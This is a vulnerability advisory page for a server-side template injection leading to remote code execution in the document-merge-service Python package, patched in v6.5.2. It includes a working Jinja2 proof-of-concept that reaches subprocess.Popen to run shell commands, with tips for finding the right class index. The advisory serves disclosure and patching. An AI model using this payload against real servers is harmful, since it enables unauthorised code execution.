PYSEC-2026-1314

Vulnerability from pysec - Published: 2026-07-07 14:34 - Updated: 2026-07-07 17:24
VLAI
Details

Impact

What kind of vulnerability is it? Who is impacted?

A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.

Patches

Has the problem been patched? What versions should users upgrade to?

It has been patched in v6.5.2

References

Are there any links users can visit to find out more?

  • https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti

POC

Add the following to a document, upload and render it:

{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} 
ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }}

whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }}

uname -a:
{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }}

{% endif %}

The index might be different, so to debug this first render a template with {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }} and then get the index of subprocess.Popen and replace 202 with that.

image

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Impacted products
Name purl
document-merge-service pkg:pypi/document-merge-service
Aliases
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "document-merge-service",
        "purl": "pkg:pypi/document-merge-service"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "5.2.0",
        "5.2.1",
        "6.0.0",
        "6.1.0",
        "6.1.1",
        "6.1.2",
        "6.2.0",
        "6.2.1",
        "6.2.2",
        "6.3.0",
        "6.3.1",
        "6.4.0",
        "6.4.1",
        "6.4.2",
        "6.4.3",
        "6.4.4",
        "6.4.5",
        "6.4.6",
        "6.5.0",
        "6.5.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2024-37301",
    "GHSA-v5gf-r78h-55q6"
  ],
  "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server\u0027s context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nIt has been patched in v6.5.2\n\n### References\n_Are there any links users can visit to find out more?_\n\n- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti\n\n### POC\n\nAdd the following to a document, upload and render it:\n\n```jinja2\n{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} \nls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"ls -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nwhoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"whoami\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nuname -a:\n{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"uname -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\n{% endif %}\n```\n\nThe index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that.\n\n![image](https://github.com/adfinis/document-merge-service/assets/110528300/0a1dfcff-2eba-40f1-af9c-08c8ec2bc0a1)",
  "id": "PYSEC-2026-1314",
  "modified": "2026-07-07T17:24:03.171236Z",
  "published": "2026-07-07T14:34:34.665417Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/adfinis/document-merge-service/security/advisories/GHSA-v5gf-r78h-55q6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37301"
    },
    {
      "type": "WEB",
      "url": "https://github.com/adfinis/document-merge-service/commit/a1edd39d33d1bdf75c31ea01c317547be90ca074"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/adfinis/document-merge-service"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/document-merge-service"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-v5gf-r78h-55q6"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection"
}



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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.